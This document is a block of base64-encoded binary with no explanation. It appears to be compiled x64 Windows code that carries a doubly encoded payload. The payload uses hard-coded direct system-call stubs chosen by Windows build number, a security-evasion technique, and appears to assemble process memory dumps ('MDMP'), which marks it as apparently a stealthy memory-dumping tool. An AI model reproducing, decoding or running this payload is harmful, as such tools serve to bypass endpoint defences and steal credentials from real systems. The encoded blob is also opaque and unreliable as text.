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Af0AAAAAAAAAAAAAAAAAA//////////8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAKAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFYwaUo1MGlENVBCSWcrd2c2TDhzQUFCSWlmeGZ3Mll1RHgrRUFBQUFBQUREWmk0UEg0UUFBQUFBQUE4ZlJBQUFaVWlMQkNWZ0FBQUFnN2dZQVFBQUJuUU9nN2dZQVFBQUNuUlE2VDhCQUFDRHVCd0JBQUFCZEIrRHVCd0JBQUFDRDRUT0FBQUFnN2djQVFBQUF3K0V5QUFBQU9rWEFRQUFab0c0SUFFQUFMQWRENFNmQUFBQVpvRzRJQUVBQUxFZEQ0U1hBQUFBNmZRQUFBQm1nYmdnQVFBQUFDZ1BoSmdBQUFCbWdiZ2dBUUFBV2lrUGhKQUFBQUJtZ2JnZ0FRQUFPVGdQaElnQUFBQm1nYmdnQVFBQTF6b1BoSUFBQUFCbWdiZ2dBUUFBcXo5MGZHYUJ1Q0FCQUFEdVFuUjRab0c0SUFFQUFHTkZkSFJtZ2JnZ0FRQUF1a2QwY0dhQnVDQUJBQUM3UjNSc1pvRzRJQUVBQUdGS2RHaG1nYmdnQVFBQVlrcDBaT3RwdUQ0QUFBRHJZN2crQUFBQTYxeTRQd0FBQU90VnVFQUFBQURyVHJoQkFBQUE2MGU0UVFBQUFPdEF1RUVBQUFEck9iaEJBQUFBNnpLNFFRQUFBT3NydUVFQUFBRHJKTGhCQUFBQTZ4MjRRUUFBQU9zV3VFRUFBQURyRDdoQkFBQUE2d2k0UVFBQUFPc0J3MG1KeWc4RncyVklpd1FsWUFBQUFJTzRHQUVBQUFaMERvTzRHQUVBQUFwMFVPay9BUUFBZzdnY0FRQUFBWFFmZzdnY0FRQUFBZytFemdBQUFJTzRIQUVBQUFNUGhNZ0FBQURwRndFQUFHYUJ1Q0FCQUFDd0hRK0Vud0FBQUdhQnVDQUJBQUN4SFErRWx3QUFBT24wQUFBQVpvRzRJQUVBQUFBb0Q0U1lBQUFBWm9HNElBRUFBRm9wRDRTUUFBQUFab0c0SUFFQUFEazRENFNJQUFBQVpvRzRJQUVBQU5jNkQ0U0FBQUFBWm9HNElBRUFBS3MvZEh4bWdiZ2dBUUFBN2tKMGVHYUJ1Q0FCQUFCalJYUjBab0c0SUFFQUFMcEhkSEJtZ2JnZ0FRQUF1MGQwYkdhQnVDQUJBQUJoU25Sb1pvRzRJQUVBQUdKS2RHVHJhYmc1QUFBQTYyTzRPUUFBQU90Y3VEb0FBQURyVmJnN0FBQUE2MDY0UEFBQUFPdEh1RHdBQUFEclFMZzhBQUFBNnptNFBBQUFBT3N5dUR3QUFBRHJLN2c4QUFBQTZ5UzRQQUFBQU9zZHVEd0FBQURyRnJnOEFBQUE2dys0UEFBQUFPc0l1RHdBQUFEckFjTkppY29QQmNObFNJc0VKV0FBQUFDRHVCZ0JBQUFHZEE2RHVCZ0JBQUFLZEZEcFB3RUFBSU80SEFFQUFBRjBINE80SEFFQUFBSVBoTTRBQUFDRHVCd0JBQUFERDRUSUFBQUE2UmNCQUFCbWdiZ2dBUUFBc0IwUGhKOEFBQUJtZ2JnZ0FRQUFzUjBQaEpjQUFBRHA5QUFBQUdhQnVDQUJBQUFBS0ErRW1BQUFBR2FCdUNBQkFBQmFLUStFa0FBQUFHYUJ1Q0FCQUFBNU9BK0VpQUFBQUdhQnVDQUJBQURYT2crRWdBQUFBR2FCdUNBQkFBQ3JQM1I4Wm9HNElBRUFBTzVDZEhobWdiZ2dBUUFBWTBWMGRHYUJ1Q0FCQUFDNlIzUndab0c0SUFFQUFMdEhkR3htZ2JnZ0FRQUFZVXAwYUdhQnVDQUJBQUJpU25SazYybTRQd0FBQU90anVEOEFBQURyWExoQUFBQUE2MVc0UVFBQUFPdE91RUlBQUFEclI3aENBQUFBNjBDNFFnQUFBT3M1dUVJQUFBRHJNcmhDQUFBQTZ5dTRRZ0FBQU9za3VFSUFBQURySGJoQ0FBQUE2eGE0UWdBQUFPc1B1RUlBQUFEckNMaENBQUFBNndIRFNZbktEd1hEWlVpTEJDVmdBQUFBZzdnWUFRQUFCblFPZzdnWUFRQUFDblJRNlQ4QkFBQ0R1QndCQUFBQmRCK0R1QndCQUFBQ0Q0VE9BQUFBZzdnY0FRQUFBdytFeUFBQUFPa1hBUUFBWm9HNElBRUFBTEFkRDRTZkFBQUFab0c0SUFFQUFMRWRENFNYQUFBQTZmUUFBQUJtZ2JnZ0FRQUFBQ2dQaEpnQUFBQm1nYmdnQVFBQVdpa1BoSkFBQUFCbWdiZ2dBUUFBT1RnUGhJZ0FBQUJtZ2JnZ0FRQUExem9QaElBQUFBQm1nYmdnQVFBQXF6OTBmR2FCdUNBQkFBRHVRblI0Wm9HNElBRUFBR05GZEhSbWdiZ2dBUUFBdWtkMGNHYUJ1Q0FCQUFDN1IzUnNab0c0SUFFQUFHRktkR2htZ2JnZ0FRQUFZa3AwWk90cHVDTUFBQURyWTdnakFBQUE2MXk0SkFBQUFPdFZ1Q1VBQUFEclRyZ21BQUFBNjBlNEpnQUFBT3RBdUNZQUFBRHJPYmdtQUFBQTZ6SzRKZ0FBQU9zcnVDWUFBQURySkxnbUFBQUE2eDI0SmdBQUFPc1d1Q1lBQUFEckQ3Z21BQUFBNndpNEpnQUFBT3NCdzBtSnlnOEZ3MlZJaXdRbFlBQUFBSU80R0FFQUFBWjBEb080R0FFQUFBcDBVT2svQVFBQWc3Z2NBUUFBQVhRZmc3Z2NBUUFBQWcrRXpnQUFBSU80SEFFQUFBTVBoTWdBQUFEcEZ3RUFBR2FCdUNBQkFBQ3dIUStFbndBQUFHYUJ1Q0FCQUFDeEhRK0Vsd0FBQU9uMEFBQUFab0c0SUFFQUFBQW9ENFNZQUFBQVpvRzRJQUVBQUZvcEQ0U1FBQUFBWm9HNElBRUFBRGs0RDRTSUFBQUFab0c0SUFFQUFOYzZENFNBQUFBQVpvRzRJQUVBQUtzL2RIeG1nYmdnQVFBQTdrSjBlR2FCdUNBQkFBQmpSWFIwWm9HNElBRUFBTHBIZEhCbWdiZ2dBUUFBdTBkMGJHYUJ1Q0FCQUFCaFNuUm9ab0c0SUFFQUFHSktkR1RyYWJqNUFBQUE2Mk80K1FBQUFPdGN1QXNCQUFEclZiZ09BUUFBNjA2NEZBRUFBT3RIdUJjQkFBRHJRTGdaQVFBQTZ6bTRIUUVBQU9zeXVCOEJBQURySzdnaEFRQUE2eVM0SWdFQUFPc2R1Q01CQUFEckZyZ2pBUUFBNncrNEtBRUFBT3NJdUNnQkFBRHJBY05KaWNvUEJjTmxTSXNFSldBQUFBQ0R1QmdCQUFBR2RBNkR1QmdCQUFBS2RGRHBQd0VBQUlPNEhBRUFBQUYwSDRPNEhBRUFBQUlQaE00QUFBQ0R1QndCQUFBREQ0VElBQUFBNlJjQkFBQm1nYmdnQVFBQXNCMFBoSjhBQUFCbWdiZ2dBUUFBc1IwUGhKY0FBQURwOUFBQUFHYUJ1Q0FCQUFBQUtBK0VtQUFBQUdhQnVDQUJBQUJhS1ErRWtBQUFBR2FCdUNBQkFBQTVPQStFaUFBQUFHYUJ1Q0FCQUFEWE9nK0VnQUFBQUdhQnVDQUJBQUNyUDNSOFpvRzRJQUVBQU81Q2RIaG1nYmdnQVFBQVkwVjBkR2FCdUNBQkFBQzZSM1J3Wm9HNElBRUFBTHRIZEd4bWdiZ2dBUUFBWVVwMGFHYUJ1Q0FCQUFCaVNuUms2Mm00SGdBQUFPdGp1QjRBQUFEclhMZ2ZBQUFBNjFXNElBQUFBT3RPdUNFQUFBRHJSN2doQUFBQTYwQzRJUUFBQU9zNXVDRUFBQURyTXJnaEFBQUE2eXU0SVFBQUFPc2t1Q0VBQUFEckhiZ2hBQUFBNnhhNElRQUFBT3NQdUNFQUFBRHJDTGdoQUFBQTZ3SERTWW5LRHdYRFpVaUxCQ1ZnQUFBQWc3Z1lBUUFBQm5RT2c3Z1lBUUFBQ25SUTZUOEJBQUNEdUJ3QkFBQUJkQitEdUJ3QkFBQUNENFRPQUFBQWc3Z2NBUUFBQXcrRXlBQUFBT2tYQVFBQVpvRzRJQUVBQUxBZEQ0U2ZBQUFBWm9HNElBRUFBTEVkRDRTWEFBQUE2ZlFBQUFCbWdiZ2dBUUFBQUNnUGhKZ0FBQUJtZ2JnZ0FRQUFXaWtQaEpBQUFBQm1nYmdnQVFBQU9UZ1BoSWdBQUFCbWdiZ2dBUUFBMXpvUGhJQUFBQUJtZ2JnZ0FRQUFxejkwZkdhQnVDQUJBQUR1UW5SNFpvRzRJQUVBQUdORmRIUm1nYmdnQVFBQXVrZDBjR2FCdUNBQkFBQzdSM1JzWm9HNElBRUFBR0ZLZEdobWdiZ2dBUUFBWWtwMFpPdHB1QTBBQUFEclk3Z05BQUFBNjF5NERnQUFBT3RWdUE4QUFBRHJUcmdRQUFBQTYwZTRFQUFBQU90QXVCQUFBQURyT2JnUUFBQUE2eks0RUFBQUFPc3J1QkFBQUFEckpMZ1FBQUFBNngyNEVBQUFBT3NXdUJBQUFBRHJEN2dRQUFBQTZ3aTRFQUFBQU9zQncwbUp5ZzhGdzJWSWl3UWxZQUFBQUlPNEdBRUFBQVowRG9PNEdBRUFBQXAwVU9rL0FRQUFnN2djQVFBQUFYUWZnN2djQVFBQUFnK0V6Z0FBQUlPNEhBRUFBQU1QaE1nQUFBRHBGd0VBQUdhQnVDQUJBQUN3SFErRW53QUFBR2FCdUNBQkFBQ3hIUStFbHdBQUFPbjBBQUFBWm9HNElBRUFBQUFvRDRTWUFBQUFab0c0SUFFQUFGb3BENFNRQUFBQVpvRzRJQUVBQURrNEQ0U0lBQUFBWm9HNElBRUFBTmM2RDRTQUFBQUFab0c0SUFFQUFLcy9kSHhtZ2JnZ0FRQUE3a0owZUdhQnVDQUJBQUJqUlhSMFpvRzRJQUVBQUxwSGRIQm1nYmdnQVFBQXUwZDBiR2FCdUNBQkFBQmhTblJvWm9HNElBRUFBR0pLZEdUcmFiZ3pBQUFBNjJPNE13QUFBT3RjdURRQUFBRHJWYmcxQUFBQTYwNjROZ0FBQU90SHVEWUFBQURyUUxnMkFBQUE2em00TmdBQUFPc3l1RFlBQUFEcks3ZzJBQUFBNnlTNE5nQUFBT3NkdURZQUFBRHJGcmcyQUFBQTZ3KzROZ0FBQU9zSXVEWUFBQURyQWNOSmljb1BCY05sU0lzRUpXQUFBQUNEdUJnQkFBQUdkQTZEdUJnQkFBQUtkRkRwUHdFQUFJTzRIQUVBQUFGMEg0TzRIQUVBQUFJUGhNNEFBQUNEdUJ3QkFBQURENFRJQUFBQTZSY0JBQUJtZ2JnZ0FRQUFzQjBQaEo4QUFBQm1nYmdnQVFBQXNSMFBoSmNBQUFEcDlBQUFBR2FCdUNBQkFBQUFLQStFbUFBQUFHYUJ1Q0FCQUFCYUtRK0VrQUFBQUdhQnVDQUJBQUE1T0ErRWlBQUFBR2FCdUNBQkFBRFhPZytFZ0FBQUFHYUJ1Q0FCQUFDclAzUjhab0c0SUFFQUFPNUNkSGhtZ2JnZ0FRQUFZMFYwZEdhQnVDQUJBQUM2UjNSd1pvRzRJQUVBQUx0SGRHeG1nYmdnQVFBQVlVcDBhR2FCdUNBQkFBQmlTblJrNjJtNFBBQUFBT3RqdUR3QUFBRHJYTGc5QUFBQTYxVzRQZ0FBQU90T3VEOEFBQURyUjdnL0FBQUE2MEM0UHdBQUFPczV1RDhBQUFEck1yZy9BQUFBNnl1NFB3QUFBT3NrdUQ4QUFBRHJIYmcvQUFBQTZ4YTRQd0FBQU9zUHVEOEFBQURyQ0xnL0FBQUE2d0hEU1luS0R3WERaaTRQSDRRQUFBQUFBRUZYUVZaQlZVRlVWVmUvQUJBQUFGWk1pYzVUU0lIc0dBWUFBRW1MbVlBQUFBQk1pWVFrMkFFQUFJbVVKSmdCQUFCSWlZd2tvQUVBQUVqSGhDU1lBQUFBQUFBQUFNZUVKS0FBQUFBQUFBQUFTTWVFSkxBQkFBQUFBQUFBeDRRa3VBRUFBQUFBQUFCSXg0UWt3QUVBQUFBQUFBQkl4NFFreUFFQUFBQUFBQURIaENUUUFRQUFJZ2dBQUVqSGhDVG9BUUFBQUFBQUFFakhoQ1R3QVFBQUFBQUFBRWpIaENUNEFRQUFBQUFBQUVqSGhDUUFBZ0FBQUFBQUFNZUVKT0FCQUFBQUFBQUFRZitSaUFBQUFFRzRBQkFBQURIU1NJbkIvOU5JaWNOSWhjQjFOK25EQ2dBQVppNFBINFFBQUFBQUFFaUxycGdBQUFBQi8vK1dpQUFBQUVtSjJFR0orVEhTU0luQi85VklpY05JaGNBUGhKRUtBQUJGTWNsQmlmaElpZHE1QlFBQUFPai8rLy8vUFFRQUFNQjB2b1hBRDRWWUNnQUFpNHdrbUFFQUFFaUoyamxMVUErRlB3b0FBSXQ2QkVpTHJvQUFBQUNKdkNTNEFRQUEvNWFJQUFBQVRJMEVmekhTU0luQlNjSGdBdi9WU0ltRUpMQUJBQUJJaGNBUGhBNEtBQUJJaTc2UUFBQUFTSTJzSkJBQ0FBQk1qYXdrOEFBQUFQK1dpQUFBQUVtSjJESFNUSTJrSkxBQUFBQklpY0c3QVFBQUFQL1hTSTJNSkpBQkFBQklpZkpJamJ3a2hBQUFBT2dBRlFBQWk1UWs0QUVBQUVVeHlVVXh3RWk0VFVSTlVKT25BQUJJaTR3azJBRUFBTWVFSk9BQUFBQUFBQUFBU0ltRUpOQUFBQUJJdUFRQUFBQWdBQUFBU0ltRUpOZ0FBQUJJeDRRazZBQUFBQ0lJQUFEL2xxQUFBQUJJaVhRa0lFbUo2VWlMakNUWUFRQUFRYmdnQUFBQVNJMlVKTkFBQUFEb1p3c0FBSXVFSk9BQkFBQk1pZW5IaENTa0FBQUFCd0FBQUlQQVVJbUVKT0FCQUFDSmhDU3NBQUFBLzVhd0FBQUF1bXdBQUFCSXVHNTBaR3hzTG1Sc3VYSnpBQUJJaVlRa2pBQUFBRWk0VW5Sc1IyVjBUblJtaVpRa2xBQUFBRWk2Vm1WeWMybHZiazVJaVlRa3NBQUFBRWlOaENTTUFBQUFTSW1VSkxnQUFBQm1pWXdreEFBQUFFaUp3Y2VFSk1BQUFBQjFiV0pseG9Ra3hnQUFBQUJJaVVRa1VQK1dxQUFBQUV5SjRrbUp4a2lKd2YrVzBBQUFBRWlKK2tpSmZDUm9USTJFSklnQUFBQk1pVVFrTUVpTmpDU0FBQUFBLzlCTWlmRkZNZmFCcENTSUFBQUEvLzhBQVArV3VBQUFBQSszaENUd0FBQUF4b1FrSndFQUFBSEhoQ1EwQVFBQUFnQUFBR2FKaENRZ0FRQUFpNFFrSEFFQUFNZUVKRHdCQUFBUUFBQUFpWVFrSWdFQUFJdUVKQkFCQUFCSXg0UWtRQUVBQUFBQUFBQ0loQ1FtQVFBQWk0UWtnQUFBQUVqSGhDUklBUUFBQUFBQUFJbUVKQ2dCQUFDTGhDU0VBQUFBaVlRa0xBRUFBSXVFSklnQUFBQ0poQ1F3QVFBQWk0UWs0QUVBQUlQQU9JbUVKRGdCQUFCRWlmSC9sc0FBQUFDRndIUVJTSW5ZUklueFNOUGdTQW1FSkVBQkFBQkJnOFlCUVlQK1FIWFlpNVFrNEFFQUFFVXh5VVV4d0VpSjcwaUxqQ1RZQVFBQVNJMWNKSGovbHFBQUFBQklpWFFrSUVtSjZVaU5oQ1FnQVFBQVNJdU1KTmdCQUFCSWljSkJ1RGdBQUFCSWlVUWtRT2hxQ1FBQU1jQzVRQUFBQUlPRUpPQUJBQUE0ODBpclNJbnAvNWJJQUFBQVNJbDBKQ0JJalZRa2ZFaUxqQ1RZQVFBQUFjQkppZGxCdUFRQUFBQ0pSQ1I4NkNrSkFBQklpWFFrSUVtSjJVaUo2a1NMUkNSOFNJdU1KTmdCQUFEb0RBa0FBSXRFSkh4Rk1jbEZNY0FEaENUZ0FRQUFpNVFrM0FBQUFNZUVKS2dBQUFBNEFBQUFnOEFFU0l1TUpOZ0JBQUNKaENUZ0FRQUEvNWFnQUFBQVNJbDBKQ0JKaWVsSWpZUWtwQUFBQUVpTGpDVFlBUUFBU0luQ1FiZ01BQUFBU0lsRUpFam9wZ2dBQUl1RUpPQUJBQUNMakNUSUFRQUF4NFFrcEFBQUFBUUFBQUNKUkNSZ2lZUWtyQUFBQUlYSkQ0UlVDQUFBZytrQlNJdVVKTUFCQUFCSWFja29BZ0FBU0luUVRJMkVDaWdDQUFBeHlROGZBSU00QVlQUkFFZ0ZLQUlBQUV3NXdIWHZhOGxzUlRIMlRJbGtKRmhNamJ3a0ZBSUFBTWVFSklRQUFBQUFBQUFBUlluMGpVRUVpMHdrWUluSGlVUWtaSW5JQWZoSWpid2tPQUVBQUltRUpPQUJBQUNOUVFTSlJDUTg2dzBQSDBRQUFFaUxsQ1RBQVFBQVJJbmpTR25iS0FJQUFFaU5EQnFMQVlYQUQ0VWhBZ0FBU0lQQkhQK1d5QUFBQUVpTGxDVEFBUUFBVEluNWpVUUFBa2dCMm9tRUpCQUNBQUJJZzhJYy81WUFBUUFBaTVRazRBRUFBRVV4eVVVeHdFZ0RuQ1RBQVFBQVNJdU1KTmdCQUFCSWkwTUlTSW1FSkNBQkFBQ0xReENKaENRb0FRQUFpME1ZaVlRa0xBRUFBSXRERkl1Y0pCQUNBQUNKbENRMEFRQUFpWVFrTUFFQUFJMUQvb1BEQkltRUpCQUNBQUQvbHFBQUFBQkJpZGhOaWVsSWllcElpWFFrSUVpTGpDVFlBUUFBNkNnSEFBQUJuQ1RnQVFBQVRJbjVTSXRVSkRESGhDU3dBQUFBWEFBQUFFakhCd0FBQUFCSXgwY0lBQUFBQUVqSFJ4QUFBQUFBU01kSEdBQUFBQUJJeDBjZ0FBQUFBRWpIUnlnQUFBQUF4MGN3QUFBQUFQK1c2QUFBQUluRGhjQVBoSklBQUFCTWk3YUFBQUFBLzVhSUFBQUFRWW5ZTWRKSWljRkIvOVpKaWNaSWhjQjBjb3VVSklnQUFBQkppY0ZCaWRoTWlmbi9sdkFBQUFDRndIUkJUSXRNSkZCSWkxUWtXRTJKNkV5SjhmK1crQUFBQUlYQWRDZUR2Q1NNQUFBQU5FRzROQUFBQUVpTGxDVHdBQUFBU0luNVJBOUdoQ1NNQUFBQVJZbkEveFpJaTU2UUFBQUEvNWFJQUFBQVRZbndNZEpJaWNILzA0dUVKSVFBQUFDTFRDUThSVEhKUlRIQVNNZUVKR3dCQUFBQUFBQUFTTWVFSkhRQkFBQUFBQUFBalZBQmE4QnNpWlFraEFBQUFFakhoQ1I4QVFBQUFBQUFBRWpIaENTRUFRQUFBQUFBQUkwVUNFaUxqQ1RZQVFBQS81YWdBQUFBU0lsMEpDQklpMVFrUUUySjZVaUxqQ1RZQVFBQVFiaHNBQUFBNkxjRkFBQkJnOFFCUkR1a0pNZ0JBQUFQZ3EzOS8vOU1pMlFrV0l0VUpHQkZNY2xGTWNBeDIwaUxqQ1RZQVFBQS81YWdBQUFBU0lsMEpDQklpMVFrYUUySjZVaUxqQ1RZQVFBQVFiZ0VBQUFBNkdZRkFBQ0xSQ1JrUlRISlJUSEFTSXVNSk5nQkFBQ0poQ1NvQUFBQWk0UWszQUFBQUkxUURQK1dvQUFBQUVpSmRDUWdTSXRVSkVoSmllbElpNHdrMkFFQUFFRzREQUFBQU9nZEJRQUE2eGNQSHdCTUFmTVBndk1BQUFCSWk1d2tFQUlBQUV3QjgwaUxqQ1NnQVFBQVFia3dBQUFBU1lub1NJbmEvNWJZQUFBQVNJWEFENFRGQUFBQWdid2tNQUlBQUFBUUFBQk1pN1FrS0FJQUFIVzBUSXU4SlBnQkFBQklpN3drRUFJQUFFMkYvdytFT2dRQUFJdUVKQUFDQUFDTGxDUUVBZ0FBT2RBUGdod0VBQUJNaTVhWUFBQUFBZEtKbENRRUFnQUFpVlFrUEV5SlZDUXcvNWFJQUFBQVJJdE1KRHhOaWZneDBreUxWQ1F3U0luQlNjSGhCRUgvMGttSngwaUpoQ1Q0QVFBQVRZWC9ENFFTQkFBQWk0UWtBQUlBQUVpTGpDUW9BZ0FBaWNLRHdBRkl3ZUlFU1FIWFRZbDNDRW1Kemt3QjgwbUpQNG1FSkFBQ0FBQVBndzMvLy8rTGhDUUFBZ0FBaTVRazRBRUFBRVV4eVVVeHdNZUVKS1FBQUFBSkFBQUFqVWdCU0ltRUpQQUFBQUNKejRtVUpLd0FBQUJJaTR3azJBRUFBTUhuQkkwRU9vbDhKR0JJaVlRaytB